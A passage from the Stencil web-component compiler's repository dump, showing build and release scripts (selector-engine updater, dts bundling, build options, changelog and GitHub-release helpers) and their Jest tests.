`jQuery.attr` with `elem.getAttribute` to avoid having to include * the attributes plugin to the bundle */ .replace('jQuery.attr( elem, name )', 'elem.getAttribute( name )') /** * make it return jQuery directly rather than relying on a module system */ .replace('module.exports = factory( global, true );', 'return factory( global, true );') .replace('if ( typeof module === "object" && typeof module.exports === "object" ) {', 'if (true) {'); const newContent = `/* eslint-disable */ // @ts-nocheck /** * ATTENTION: DO NOT MODIFY THIS FILE * * This file is generated by "scripts/updateSelectorEngine.ts" and can be overwritten * at any time. Don't make changes in here as they will get lost! */ export default ${fixedJQuery}; `; fs.writeFile(path.resolve(thirdPartyDir, 'jquery.ts'), newContent, 'utf8'); console.log(`\nJQuery Selector engine updated to version ${jqueryPkgJSON.version}`); console.log(`at ${thirdPartyDir} 🎉`); } function runCommand(cmd: string, cwd: string) { return new Promise((resolve, reject) => { console.log(`> ${cmd}`); const child = cp.spawn(cmd, { cwd, shell: true }); child.on('error', reject); child.on('exit', (code) => (code === 0 ? resolve(child) : reject())); }); } if (require.main === module) { run(); } ================================================ FILE: scripts/utils/banner.ts ================================================ import { BuildOptions } from './options'; export function getBanner(opts: BuildOptions, fileName: string, license = false) { return [ `/*${license ? '!' : ''}`, ` ${fileName} v${opts.version} | MIT Licensed | https://stenciljs.com`, ` */`, ].join('\n'); } ================================================ FILE: scripts/utils/bundle-dts.ts ================================================ import { EntryPointConfig, generateDtsBundle, OutputOptions } from 'dts-bundle-generator'; import fs from 'fs-extra'; import { BuildOptions } from './options'; /** * A thin wrapper for `dts-bundle-generator` which uses our build options to * set a few things up * * **Note**: this file caches its output to disk, and will return any * previously cached file if not in a prod environment! * * @param opts an object holding information about the current build of Stencil * @param inputFile the path to the file which should be bundled * @param outputOptions options for bundling the file * @param useCache whether or not the bundled file should be cached to disk * @returns a string containing the bundled typedef */ export async function bundleDts( opts: BuildOptions, inputFile: string, outputOptions?: OutputOptions, useCache = true, ): Promise { const cachedDtsOutput = inputFile + '-bundled.d.ts'; if (!opts.isProd && useCache) { try { return await fs.readFile(cachedDtsOutput, 'utf8'); } catch (e) {} } const config: EntryPointConfig = { filePath: inputFile, }; if (outputOptions) { config.output = outputOptions; } const outputCode = cleanDts(generateDtsBundle([config]).join('\n')); if (useCache) { await fs.writeFile(cachedDtsOutput, outputCode); } return outputCode; } export function cleanDts(dtsContent: string) { dtsContent = dtsContent.replace(/\/\/\/ /g, ''); dtsContent = dtsContent.replace(/NodeJS.Process/g, 'any'); dtsContent = dtsContent.replace(/import \{ URL \} from \'url\';/g, ''); return dtsContent.trim() + '\n'; } ================================================ FILE: scripts/utils/constants.ts ================================================ /** * Node built-ins that we mark as external when building Stencil */ export const NODE_BUILTINS = [ '_http_agent', '_http_client', '_http_common', '_http_incoming', '_http_outgoing', '_http_server', '_stream_duplex', '_stream_passthrough', '_stream_readable', '_stream_transform', '_stream_wrap', '_stream_writable', '_tls_common', '_tls_wrap', 'assert', 'async_hooks', 'buffer', 'child_process', 'cluster', 'console', 'constants', 'crypto', 'dgram', 'dns', 'domain', 'events', 'fs', 'fs/promises', 'http', 'http2', 'https', 'inspector', 'module', 'net', 'os', 'path', 'perf_hooks', 'process', 'punycode', 'querystring', 'readline', 'repl', 'stream', 'string_decoder', 'sys', 'timers', 'tls', 'trace_events', 'tty', 'url', 'util', 'v8', 'vm', 'worker_threads', 'zlib', ]; ================================================ FILE: scripts/utils/conventional-changelog-config.js ================================================ /** * Options for [conventional-changelog](https://github.com/conventional-changelog/conventional-changelog), which is * used to generate the Stencil changelog at release time. */ module.exports = { parserOpts: { /** * Override the conventional-changelog parser default configuration and any provided preset (e.g. 'Angular') for * detecting issues. Stencil uses the "Angular preset", which defaults the "issuesPrefixes" field to a single pound * sign ('#'). This sometimes gets mistaken by the changelog generator as an issue that is fixed, when it fact it's * cross-reference to another issue. * * Note: Only the git commit message is being parsed, not the GitHub Issue summary. For any of the values below to * be picked up by conventional-changelog, they must be added to the git commit message. * * Reference for this property: [GitHub README]{@link https://github.com/conventional-changelog/conventional-changelog/tree/master/packages/conventional-commits-parser#issueprefixes} * By default, [these are case-insensitive]{@link https://github.com/conventional-changelog/conventional-changelog/tree/master/packages/conventional-commits-parser#issueprefixescasesensitive)} */ issuePrefixes: [ 'fixes: #', 'fixes:#', 'fixes- #', 'fixes-#', 'fixes #', 'fixes#', 'closes: #', 'closes:#', 'closes- #', 'closes-#', 'closes #', 'closes#', ], }, }; ================================================ FILE: scripts/utils/options.ts ================================================ import { execSync } from 'child_process'; import { readFileSync } from 'fs-extra'; import { join } from 'path'; import { getVermoji } from './vermoji'; import { PackageData } from './write-pkg-json'; /** * Retrieves information used during a 'process' that requires knowledge of various project file paths, Stencil version * information, and GitHub repo metadata. A 'process' may include, but is not limited to: * - generating a new release * - regenerating a license file * - validating a build * @param rootDir the root directory of the project * @param inputOpts any build options to override manually * @returns an entity containing various fields to be used by some process */ export function getOptions(rootDir: string, inputOpts: Partial = {}): BuildOptions { const srcDir = join(rootDir, 'src'); const packageJsonPath = join(rootDir, 'package.json'); const packageLockJsonPath = join(rootDir, 'package-lock.json'); const changelogPath = join(rootDir, 'CHANGELOG.md'); const nodeModulesDir = join(rootDir, 'node_modules'); const typescriptDir = join(nodeModulesDir, 'typescript'); const typescriptLibDir = join(typescriptDir, 'lib'); const buildDir = join(rootDir, 'build'); const scriptsDir = join(rootDir, 'scripts'); const scriptsBuildDir = join(scriptsDir, 'build'); const scriptsBundlesDir = join(scriptsDir, 'esbuild'); const bundleHelpersDir = join(scriptsBundlesDir, 'helpers'); const packageJson: PackageData = JSON.parse(readFileSync(packageJsonPath, 'utf8')); const buildId = inputOpts.buildId ?? getBuildId(); const version = inputOpts.version ?? getDevVersionId({ buildId, semverVersion: packageJson?.version }); const vermoji = inputOpts.isProd && !inputOpts.vermoji ? getVermoji(inputOpts.changelogPath ?? changelogPath) : inputOpts.vermoji ?? '💎'; const typescriptPkg = require(join(typescriptDir, 'package.json')); const typescriptVersion = typescriptPkg.version; const terserPkg = getPkg(nodeModulesDir, 'terser'); const terserVersion = terserPkg.version; const rollupPkg = getPkg(nodeModulesDir, 'rollup'); const rollupVersion = rollupPkg.version; const parse5Pkg = getPkg(nodeModulesDir, 'parse5'); const parse5Version = parse5Pkg.version; const jqueryPkg = getPkg(nodeModulesDir, 'jquery'); const jqueryVersion = jqueryPkg.version; const opts: BuildOptions = { ghRepoOrg: 'ionic-team', ghRepoName: 'stencil', rootDir, srcDir, packageJsonPath, packageLockJsonPath, changelogPath, nodeModulesDir, typescriptDir, typescriptLibDir, packageJson, buildDir, scriptsDir, scriptsBuildDir, scriptsBundlesDir, bundleHelpersDir, output: { cliDir: join(rootDir, 'cli'), compilerDir: join(rootDir, 'compiler'), devServerDir: join(rootDir, 'dev-server'), internalDir: join(rootDir, 'internal'), mockDocDir: join(rootDir, 'mock-doc'), screenshotDir: join(rootDir, 'screenshot'), sysNodeDir: join(rootDir, 'sys', 'node'), testingDir: join(rootDir, 'testing'), }, version, buildId, isProd: false, isCI: false, isWatch: false, isPublishRelease: false, vermoji, tag: 'dev', jqueryVersion, parse5Version, rollupVersion, terserVersion, typescriptVersion, }; Object.assign(opts, inputOpts); if (opts.isPublishRelease) { if (!opts.isProd) { throw new Error('release must also be a prod build'); } } return opts; } /** * Generates an object containing versioning information of various packages * installed at build time * * **NOTE** this will mutate the `opts` parameter, adding information about * the versions used for various dependencies * * @param opts the options being used during a build * @returns an object that contains package names/versions installed at the time a build was invoked */ export function createReplaceData(opts: BuildOptions): Record { const CACHE_BUSTER = 7; const typescriptPkg = require(join(opts.typescriptDir, 'package.json')); const transpileId = typescriptPkg.name + typescriptPkg.version + '_' + CACHE_BUSTER; const terserPkg = getPkg(opts.nodeModulesDir, 'terser'); const minifyJsId = terserPkg.name + terserPkg.version + '_' + CACHE_BUSTER; const rollupPkg = getPkg(opts.nodeModulesDir, 'rollup'); const bundlerId = rollupPkg.name + rollupPkg.version + '_' + CACHE_BUSTER; const autoprefixerPkg = getPkg(opts.nodeModulesDir, 'autoprefixer'); const postcssPkg = getPkg(opts.nodeModulesDir, 'postcss'); const optimizeCssId = autoprefixerPkg.name + autoprefixerPkg.version + '_' + postcssPkg.name + postcssPkg.version + '_' + CACHE_BUSTER; return { __BUILDID__: opts.buildId, '__BUILDID:BUNDLER__': bundlerId, '__BUILDID:MINIFYJS__': minifyJsId, '__BUILDID:OPTIMIZECSS__': optimizeCssId, '__BUILDID:TRANSPILE__': transpileId, '__VERSION:STENCIL__': opts.version, '__VERSION:PARSE5__': opts.parse5Version, '__VERSION:ROLLUP__': opts.rollupVersion, '__VERSION:JQUERY__': opts.jqueryVersion, '__VERSION:TERSER__': opts.terserVersion, '__VERSION:TYPESCRIPT__': opts.typescriptVersion, __VERMOJI__: opts.vermoji, }; } type VersionedPackageData = PackageData & { version: string }; /** * Retrieves a package from the `node_modules` directory in the given `opts` parameter * @param nodeModulesDir the node modules directory to search * @param pkgName the name of the NPM package to retrieve * @returns information about the retrieved package */ function getPkg(nodeModulesDir: string, pkgName: string): VersionedPackageData { const packageJson = require(join(nodeModulesDir, pkgName, 'package.json')); if (!packageJson.version) { throw Error(`Didn't find a version in the packageJson for ${pkgName}!`); } return packageJson; } export interface BuildOptions { buildDir: string; bundleHelpersDir: string; ghRepoName: string; ghRepoOrg: string; nodeModulesDir: string; rootDir: string; scriptsBuildDir: string; scriptsBundlesDir: string; scriptsDir: string; srcDir: string; typescriptDir: string; typescriptLibDir: string; output: { cliDir: string; compilerDir: string; devServerDir: string; internalDir: string; mockDocDir: string; screenshotDir: string; sysNodeDir: string; testingDir: string; }; buildId: string; changelogPath: string; isCI: boolean; isProd: boolean; isPublishRelease: boolean; isWatch: boolean; jqueryVersion: string; packageJson: PackageData; packageJsonPath: string; packageLockJsonPath: string; parse5Version: string; rollupVersion: string; tag: string; terserVersion: string; typescriptVersion: string; vermoji: string; version: string; } /** * Generate a build identifier, which is the Epoch Time in seconds * @returns the generated build ID */ function getBuildId(): string { return Date.now().toString(10).slice(0, -3); } /** * Describes the contents of a version string for Stencil used in 'non-production' builds (e.g. a one-off dev build) */ interface DevVersionContents { /** * The build identifier string, used to uniquely identify when the build was generated */ buildId: string; /** * A semver-compliant string to add to the one-off build version sting, used to identify a base version of Stencil * that was used in the build. */ semverVersion: string | undefined; } /** * Helper function to return the first seven characters of a git SHA * * We use the first seven characters for two reasons: * 1. Seven characters _should_ be enough to uniquely ID a commit in Stencil * 2. It matches the number of characters used in our CHANGELOG.md * * @returns the seven character SHA */ function getSevenCharGitSha(): string { return execSync('git rev-parse HEAD').toString().trim().slice(0, 7); } /** * Helper function to generate a dev build version string of the format: * * [BASE_VERSION]-dev.[BUILD_IDENTIFIER].[GIT_SHA] * * where: * - BASE_VERSION is the version of Stencil currently assigned in `package.json` * - BUILD_IDENTIFIER is a unique identifier for this particular build * - GIT_SHA is the SHA of the HEAD of the branch this build was created from * * @param devVersionContents an object containing the necessary arguments to build a dev-version identifier * @returns the generated version string */ function getDevVersionId(devVersionContents: DevVersionContents): string { const { buildId, semverVersion } = devVersionContents; // if `package.json#package` is empty, default to a value that doesn't imply any particular version of Stencil const version = semverVersion ?? '0.0.0'; // '-' and '-dev.' are a magic substrings that may get checked on startup of a Stencil process. return version + '-dev.' + buildId + '.' + getSevenCharGitSha(); } ================================================ FILE: scripts/utils/postcss-bundle ================================================ #!/bin/bash cd ../build #rm -rf ./postcss #git clone https://github.com/postcss/postcss.git --depth 1 cd ../.. echo $PWD ./node_modules/.bin/rollup -c ./scripts/utils/postcss-rollup.js ================================================ FILE: scripts/utils/postcss-rollup.js ================================================ import fs from 'fs-extra'; import path from 'path'; const input = require.resolve('postcss'); const output = path.join(__dirname, '..', 'bundles', 'helpers', 'postcss.js'); const postcssPkg = fs.readJSONSync(path.join(input, '..', '..', 'package.json')); export default { input, output: { format: 'esm', file: output, banner: `// postcss esm build from ${postcssPkg.version}`, }, plugins: [ { resolveId(importee, importer) { if (importee.startsWith('.')) { if (importer && importer.endsWith('.es6')) { const dir = path.dirname(importer); return path.join(dir, importee + '.es6'); } } }, }, ], }; ================================================ FILE: scripts/utils/release-utils.ts ================================================ import color from 'ansi-colors'; import fs from 'fs-extra'; import { join } from 'path'; import semver from 'semver'; import { BuildOptions } from './options'; export const SEMVER_INCREMENTS: ReadonlyArray = [ 'patch', 'minor', 'major', 'prepatch', 'preminor', 'premajor', 'prerelease', ]; export const PRERELEASE_VERSIONS: ReadonlyArray = ['prepatch', 'preminor', 'premajor', 'prerelease']; /** * Helper function to help determine if a version is valid semver * @param input the version string to validate * @returns true if the `input` is valid semver, false otherwise */ export const isValidVersion = (input: string) => Boolean(semver.valid(input)); /** * Determines whether or not a version string is valid. A version string is considered to be 'valid' if it meets one of * two criteria: * - it is a valid semver name (e.g. 'patch', 'major', etc.) * - it is a valid semver string (e.g. '1.0.2') * @param input the version string to validate * @returns true if the string is valid, false otherwise */ export const isValidVersionInput = (input: string): boolean => SEMVER_INCREMENTS.indexOf(input) !== -1 || isValidVersion(input); /** * Determines if the provided `version` is a semver pre-release or not * @param version the version string to evaluate * @returns true if the `version` is a pre-release, false otherwise */ export const isPrereleaseVersion = (version: string): boolean => PRERELEASE_VERSIONS.indexOf(version) !== -1 || Boolean(semver.prerelease(version)); /** * Determine the 'next' version string for a release. The next version can take one of two formats: * 1. An alphabetic string that is a valid semver name (e.g. 'patch', 'major', etc.) * 2. A valid semver string (e.g. '1.0.2') * The value returned by this function is predicated on the format of `oldVersion`. If `oldVersion` is an alphabetic * semver name, a semver name will be returned (e.g. 'major'). If a valid semver string is provided (e.g. 1.0.2), the * incremented semver string will be returned (e.g. 2.0.0) * @param oldVersion the old/current version of the library * @param input the desired increment unit * @returns new version's string */ export function getNewVersion(oldVersion: string, input: any): string { const isValidSemverName = SEMVER_INCREMENTS.indexOf(input) === -1; const incrementedSemverString = semver.inc(oldVersion, input); if (isValidSemverName) return input; if (incrementedSemverString !== null) return incrementedSemverString; throw new Error(`Version should be either ${SEMVER_INCREMENTS.join(', ')} or a valid semver version.`); } /** * Pretty printer for a new version of the library. Generates a new version string based on `inc` * @param oldVersion the old/current version of Stencil * @param inc the unit of increment for the new version * @returns a pretty printed string containing the new version number */ export function prettyVersionDiff(oldVersion: string, inc: any): string { const newVersion = getNewVersion(oldVersion, inc).split('.'); const splitOldVersion = oldVersion.split('.'); let firstVersionChange = false; const output = []; for (let i = 0; i < newVersion.length; i++) { if (newVersion[i] !== splitOldVersion[i] && !firstVersionChange) { output.push(`${color.dim.cyan(newVersion[i])}`); firstVersionChange = true; } else if (newVersion[i].indexOf('-') >= 1) { let preVersion = []; preVersion = newVersion[i].split('-'); output.push(`${color.dim.cyan(`${preVersion[0]}-${preVersion[1]}`)}`); } else { output.push(color.reset.dim(newVersion[i])); } } return output.join(color.reset.dim('.')); } /** * Write changes to the local CHANGELOG.md on disk. * * Stencil uses the Angular-variant of conventional commits; commits must be formatted accordingly in order to be added * to the changelog properly. * @param opts build options to be used to update the changelog */ export async function updateChangeLog(opts: BuildOptions): Promise { const ccPath = join(opts.nodeModulesDir, '.bin', 'conventional-changelog'); const ccConfigPath = join(__dirname, 'conventional-changelog-config.js'); const { execa } = await import('execa'); // API Docs for conventional-changelog: https://github.com/conventional-changelog/conventional-changelog/tree/master/packages/conventional-changelog-core#api await execa( 'node', [ ccPath, '--preset', 'angular', '--infile', opts.changelogPath, '--outfile', '--same-file', '--config', ccConfigPath, ], { cwd: opts.rootDir, }, ); let changelog = await fs.readFile(opts.changelogPath, 'utf8'); changelog = changelog.replace(/\# \[/, '# ' + opts.vermoji + ' ['); await fs.writeFile(opts.changelogPath, changelog); } /** * Generate a GitHub release and create it. This function assumes that the CHANGELOG.md file has been written to disk. * @param opts build options to be used to create a GitHub release */ export async function postGithubRelease(opts: BuildOptions): Promise { const versionTag = `v${opts.version}`; const title = `${opts.vermoji} ${opts.version}`; const lines = (await fs.readFile(opts.changelogPath, 'utf8')).trim().split('\n'); let body = ''; for (let i = 1; i < 500; i++) { const currentLine = lines[i]; if (currentLine == undefined) { // we don't test this as `!currentLine`, as an empty string is permitted in the changelog break; } const isMajorOrMinorVersionHeader = currentLine.startsWith('# '); const isPatchVersionHeader = currentLine.startsWith('## '); if (isMajorOrMinorVersionHeader || isPatchVersionHeader) { break; } body += currentLine + '\n'; } // https://docs.github.com/en/github/administering-a-repository/automation-for-release-forms-with-query-parameters const url = new URL(`https://github.com/${opts.ghRepoOrg}/${opts.ghRepoName}/releases/new`); url.searchParams.set('tag', versionTag); const timestamp = new Date().toISOString().substring(0, 10); // this will be automatically encoded for us, no need to call `encodeURIComponent` here. doing so will result in a // double encoding, which does not render properly in GitHub url.searchParams.set('title', `${title} (${timestamp})`); url.searchParams.set('body', body.trim()); if (opts.tag === 'next' || opts.tag === 'test') { url.searchParams.set('prerelease', '1'); } const open = (await import('open')).default; await open(url.href); } ================================================ FILE: scripts/utils/test/options.spec.ts ================================================ import path from 'path'; import { BuildOptions, getOptions } from '../options'; import * as Vermoji from '../vermoji'; describe('release options', () => { describe('getOptions', () => { const ROOT_DIR = path.join(__dirname, '../../..'); // Friday, February 24, 2023 2:42:09.123 PM, GMT const FAKE_SYSTEM_TIME_MS = 1677249729123; const FAKE_SYSTEM_TIME_S = FAKE_SYSTEM_TIME_MS.toString(10).slice(0, -3); beforeEach(() => { jest.useFakeTimers(); jest.setSystemTime(FAKE_SYSTEM_TIME_MS); }); afterEach(() => { jest.useRealTimers(); }); it('returns the correct default value', () => { const buildOpts = getOptions(ROOT_DIR); expect(buildOpts).toEqual({ buildDir: path.join(ROOT_DIR, 'build'), // More focused tests for `buildId` can be found in another testing suite in this file buildId: expect.any(String), bundleHelpersDir: path.join(ROOT_DIR, 'scripts', 'esbuild', 'helpers'), changelogPath: path.join(ROOT_DIR, 'CHANGELOG.md'), ghRepoName: 'stencil', ghRepoOrg: 'ionic-team', isCI: false, isProd: false, isPublishRelease: false, isWatch: false, nodeModulesDir: path.join(ROOT_DIR, 'node_modules'), output: { cliDir: path.join(ROOT_DIR, 'cli'), compilerDir: path.join(ROOT_DIR, 'compiler'), devServerDir: path.join(ROOT_DIR, 'dev-server'), internalDir: path.join(ROOT_DIR, 'internal'), mockDocDir: path.join(ROOT_DIR, 'mock-doc'), screenshotDir: path.join(ROOT_DIR, 'screenshot'), sysNodeDir: path.join(ROOT_DIR, 'sys', 'node'), testingDir: path.join(ROOT_DIR, 'testing'), }, // reads in package.json, skip it verifying it packageJson: expect.any(Object), packageJsonPath: path.join(ROOT_DIR, 'package.json'), packageLockJsonPath: path.join(ROOT_DIR, 'package-lock.json'), rootDir: ROOT_DIR, scriptsBuildDir: path.join(ROOT_DIR, 'scripts', 'build'), scriptsBundlesDir: path.join(ROOT_DIR, 'scripts', 'esbuild'), scriptsDir: path.join(ROOT_DIR, 'scripts'), srcDir: path.join(ROOT_DIR, 'src'), tag: 'dev', typescriptDir: path.join(ROOT_DIR, 'node_modules', 'typescript'), typescriptLibDir: path.join(ROOT_DIR, 'node_modules', 'typescript', 'lib'), vermoji: '💎', // More focused tests for `version` can be found in another testing suite in this file version: expect.any(String), jqueryVersion: expect.any(String), parse5Version: expect.any(String), terserVersion: expect.any(String), rollupVersion: expect.any(String), typescriptVersion: expect.any(String), }); }); describe('buildId', () => { it('defaults the buildId if none is provided', () => { const { buildId } = getOptions(ROOT_DIR); expect(buildId).toBeDefined(); expect(buildId).toBe(FAKE_SYSTEM_TIME_S); }); it('uses the provided the buildId', () => { const expectedBuildId = 'test-build-id'; const { buildId } = getOptions(ROOT_DIR, { buildId: expectedBuildId }); expect(buildId).toBeDefined(); expect(buildId).toBe(expectedBuildId); }); }); describe('version', () => { it('defaults the version if none is provided', () => { const { version } = getOptions(ROOT_DIR); expect(version).toBeDefined(); // Expect a version string with the format 0.0.0-dev-[EPOCH_TIME]-[GIT_SHA_7_CHARS] // or, contain a possible pre-release string like 0.0.0-beta.0-dev-[EPOCH_TIME]-[GIT_SHA_7_CHARS] expect(version).toMatch(new RegExp(`\\d+\\.\\d+\\.\\d+(-(.{1,}))?-dev.${FAKE_SYSTEM_TIME_S}.\\w{7}`)); }); it('uses the provided version', () => { const expectedVersion = '3.0.0-dev-1234'; const { version } = getOptions(ROOT_DIR, { version: expectedVersion }); expect(version).toBeDefined(); expect(version).toBe(expectedVersion); }); }); describe('publish + prod check', () => { it("throws an error if 'isPublishRelease' is set, but Stencil is not built for 'isProd'", () => { expect(() => getOptions(ROOT_DIR, { isProd: false, isPublishRelease: true })).toThrow( 'release must also be a prod build', ); }); it.each>([ { isProd: false }, { isPublishRelease: false }, { isProd: false, isPublishRelease: false }, { isProd: true, isPublishRelease: false }, { isProd: true, isPublishRelease: true }, ])("does not throw an error for other combinations of 'isPublishRelease' and 'isProd'", (buildOpts) => { expect(() => getOptions(ROOT_DIR, buildOpts)).not.toThrow(); }); }); describe('vermoji', () => { let getVermojiSpy: jest.SpyInstance, Parameters>; beforeEach(() => { getVermojiSpy = jest.spyOn(Vermoji, 'getVermoji'); getVermojiSpy.mockImplementation((_changelogPath) => '🧀'); }); afterEach(() => { getVermojiSpy.mockRestore(); }); it('defaults to 💎 for non-prod builds', () => { expect(getOptions(ROOT_DIR).vermoji).toBe('💎'); }); it.each>([ { isProd: true, vermoji: '🦄' }, { isProd: false, vermoji: '🦄' }, ])("uses the provided vermoji, regardless of 'isProd'", () => { const expectedVermoji = '🦄'; const { vermoji } = getOptions(ROOT_DIR, { vermoji: expectedVermoji }); expect(vermoji).toEqual('🦄'); }); it('picks a new vermoji when none is provided for prod builds', () => { const { vermoji } = getOptions(ROOT_DIR, { isProd: true }); expect(vermoji).toEqual('🧀'); }); }); }); }); ================================================ FILE: scripts/utils/test/release-utils.spec.ts ================================================ import fs from 'fs-extra'; import { BuildOptions } from '../options'; // `open` must be mocked before importing the module under test const openMock = jest.fn(); jest.mock('open', () => openMock); import { postGithubRelease } from '../release-utils'; describe('release-utils', () => { describe('postGithubRelease', () => { jest.useFakeTimers().setSystemTime(new Date('2022-01-01').getTime()); let buildOptions: BuildOptions; let mockReadFile: jest.SpyInstance, Parameters>; beforeEach(() => { mockReadFile = jest.spyOn(fs, 'readFile'); buildOptions = { changelogPath: 'some/mock/CHANGELOG.md', ghRepoName: 'stencil', ghRepoOrg: 'ionic-team', tag: 'dev', vermoji: '🚗', version: '0.0.0', }; }); afterEach(() => { jest.clearAllMocks(); }); afterAll(() => { jest.resetAllMocks(); }); it('creates an empty body if the changelog is empty', async () => { // Jest isn't smart enough to pick the correct overloaded method, so we must do type assertions to get our spy to // return a string (as if we called the original with an encoding argument) mockReadFile.mockResolvedValue('' as unknown as Buffer); await postGithubRelease(buildOptions); expect(openMock).toHaveBeenCalledTimes(1); expect(openMock).toHaveBeenCalledWith( 'https://github.com/ionic-team/stencil/releases/new?tag=v0.0.0&title=%F0%9F%9A%97+0.0.0+%282022-01-01%29&body=', ); }); it('splits a minor release from a previous patch release', async () => { const minorReleaseFollowingPatch = `# 🍣 [2.13.0](https://github.com/ionic-team/stencil/compare/v2.12.1...v2.13.0) (2022-01-24) ### Features * **mock-doc:** add simple MockEvent#composedPath() impl ([#3204](https://github.com/ionic-team/stencil/issues/3204)) ([7b47d96](https://github.com/ionic-team/stencil/commit/7b47d96e1e3c6c821d5c416fbe987646b4cd1551)) * **test:** jest 27 support ([#3189](https://github.com/ionic-team/stencil/issues/3189)) ([10efeb6](https://github.com/ionic-team/stencil/commit/10efeb6f74888f05a13a47d8afc00b5e83a3f3db)) ## 🍔 [2.12.1](https://github.com/ionic-team/stencil/compare/v2.12.0...v2.12.1) (2022-01-04) ### Bug Fixes * **vdom:** properly warn for step attr on input ([#3196](https://github.com/ionic-team/stencil/issues/3196)) ([7ffc02e](https://github.com/ionic-team/stencil/commit/7ffc02e5d07b05de45cbaf4f0cce3f3e165b3eb0)) ### Features * **typings:** add optional key and ref to slot elements ([#3177](https://github.com/ionic-team/stencil/issues/3177)) ([ce27a18](https://github.com/ionic-team/stencil/commit/ce27a18ba8ecdb2cc5401470747a7e9d91e40a44)) `; // Jest isn't smart enough to pick the correct overloaded method, so we must do type assertions to get our spy to // return a string (as if we called the original with an encoding argument) mockReadFile.mockResolvedValue(minorReleaseFollowingPatch as unknown as Buffer); await postGithubRelease(buildOptions); expect(openMock).toHaveBeenCalledTimes(1); expect(openMock).toHaveBeenCalledWith( 'https://github.com/ionic-team/stencil/releases/new?tag=v0.0.0&title=%F0%9F%9A%97+0.0.0+%282022-01-01%29&body=%23%23%23+Features%0A%0A*+**mock-doc%3A**+add+simple+MockEvent%23composedPath%28%29+impl+%28%5B%233204%5D%28https%3A%2F%2Fgithub.com%2Fionic-team%2Fstencil%2Fissues%2F3204%29%29+%28%5B7b47d96%5D%28https%3A%2F%2Fgithub.com%2Fionic-team%2Fstencil%2Fcommit%2F7b47d96e1e3c6c821d5c416fbe987646b4cd1551%29%29%0A*+**test%3A**+jest+27+support+%28%5B%233189%5D%28https%3A%2F%2Fgithub.com%2Fionic-team%2Fstencil%2Fissues%2F3189%29%29+%28%5B10efeb6%5D%28https%3A%2F%2Fgithub.com%2Fionic-team%2Fstencil%2Fcommit%2F10efeb6f74888f05a13a47d8afc00b5e83a3f3db%29%29', ); }); it('splits a minor release from a previous minor release', async () => { const minorReleaseFollowingMinor = `# ⛸ [2.12.0](https://github.com/ionic-team/stencil/compare/v2.11.0...v2.12.0) (2021-12-13) ### Bug Fixes * **cli:** wait for help task to finish before exiting ([#3160](https://github.com/ionic-team/stencil/issues/3160)) ([f10cee1](https://github.com/ionic-team/stencil/commit/f10cee12a8d00e7581fcf13216f01ded46227f49)) * **mock-doc:** make Node.contains() return true for self ([#3150](https://github.com/ionic-team/stencil/issues/3150)) ([f164407](https://github.com/ionic-team/stencil/commit/f164407f7463faba7a3c39afca942c2a26210b82)) * **mock-doc:** allow urls as css values ([#2857](https://github.com/ionic-team/stencil/issues/2857)) ([6faa5f2](https://github.com/ionic-team/stencil/commit/6faa5f2f196ff786ffc4b818ac09708ba5de9b35)) * **sourcemaps:** do not encode inline sourcemaps ([#3163](https://github.com/ionic-team/stencil/issues/3163)) ([b2eb083](https://github.com/ionic-team/stencil/commit/b2eb083306802645ee6e31987917dea942882e46)), closes [#3147](https://github.com/ionic-team/stencil/issues/3147) ### Features * **dist-custom-elements-bundle:** add deprecation warning ([#3167](https://github.com/ionic-team/stencil/issues/3167)) ([c7b07c6](https://github.com/ionic-team/stencil/commit/c7b07c65265c7d4715f29835632cc6538ea63585)) # 🐌 [2.11.0](https://github.com/ionic-team/stencil/compare/v2.11.0-0...v2.11.0) (2021-11-22) ### Bug Fixes * **dist-custom-elements:** add ssr checks ([#3131](https://github.com/ionic-team/stencil/issues/3131)) ([9a232ea](https://github.com/ionic-team/stencil/commit/9a232ea368324f49993bd079cfdbc344abd0c69e)) ### Features * **css:** account for escaped ':' in css selectors ([#3087](https://github.com/ionic-team/stencil/issues/3087)) ([6000681](https://github.com/ionic-team/stencil/commit/600068168c86dba9ea610b5e8a0dbba00ff4d1f4)) `; // Jest isn't smart enough to pick the correct overloaded method, so we must do type assertions to get our spy to // return a string (as if we called the original with an encoding argument) mockReadFile.mockResolvedValue(minorReleaseFollowingMinor as unknown as Buffer); await postGithubRelease(buildOptions); expect(openMock).toHaveBeenCalledTimes(1); expect(openMock).toHaveBeenCalledWith( 'https://github.com/ionic-team/stencil/releases/new?tag=v0.0.0&title=%F0%9F%9A%97+0.0.0+%282022-01-01%29&body=%23%23%23+Bug+Fixes%0A%0A*+**cli%3A**+wait+for+help+task+to+finish+before+exiting+%28%5B%233160%5D%28https%3A%2F%2Fgithub.com%2Fionic-team%2Fstencil%2Fissues%2F3160%29%29+%28%5Bf10cee1%5D%28https%3A%2F%2Fgithub.com%2Fionic-team%2Fstencil%2Fcommit%2Ff10cee12a8d00e7581fcf13216f01ded46227f49%29%29%0A*+**mock-doc%3A**+make+Node.contains%28%29+return+true+for+self+%28%5B%233150%5D%28https%3A%2F%2Fgithub.com%2Fionic-team%2Fstencil%2Fissues%2F3150%29%29+%28%5Bf164407%5D%28https%3A%2F%2Fgithub.com%2Fionic-team%2Fstencil%2Fcommit%2Ff164407f7463faba7a3c39afca942c2a26210b82%29%29%0A*+**mock-doc%3A**+allow+urls+as+css+values+%28%5B%232857%5D%28https%3A%2F%2Fgithub.com%2Fionic-team%2Fstencil%2Fissues%2F2857%29%29+%28%5B6faa5f2%5D%28https%3A%2F%2Fgithub.com%2Fionic-team%2Fstencil%2Fcommit%2F6faa5f2f196ff786ffc4b818ac09708ba5de9b35%29%29%0A*+**sourcemaps%3A**+do+not+encode+inline+sourcemaps+%28%5B%233163%5D%28https%3A%2F%2Fgithub.com%2Fionic-team%2Fstencil%2Fissues%2F3163%29%29+%28%5Bb2eb083%5D%28https%3A%2F%2Fgithub.com%2Fionic-team%2Fstencil%2Fcommit%2Fb2eb083306802645ee6e31987917dea942882e46%29%29%2C+closes+%5B%233147%5D%28https%3A%2F%2Fgithub.com%2Fionic-team%2Fstencil%2Fissues%2F3147%29%0A%0A%0A%23%23%23+Features%0A%0A*+**dist-custom-elements-bundle%3A**+add+deprecation+warning+%28%5B%233167%5D%28https%3A%2F%2Fgithub.com%2Fionic-team%2Fstencil%2Fissues%2F3167%29%29+%28%5Bc7b07c6%5D%28https%3A%2F%2Fgithub.com%2Fionic-team%2Fstencil%2Fcommit%2Fc7b07c65265c7d4715f29835632cc6538ea63585%29%29', ); }); it('splits a patch release from a previous patch release', async () => { const patchReleaseFollowingPatch = `## ♨️ [2.12.2](https://github.com/ionic-team/stencil/compare/v2.12.1...v2.12.2) (2022-01-24) ### Features * **mock-doc:** add simple 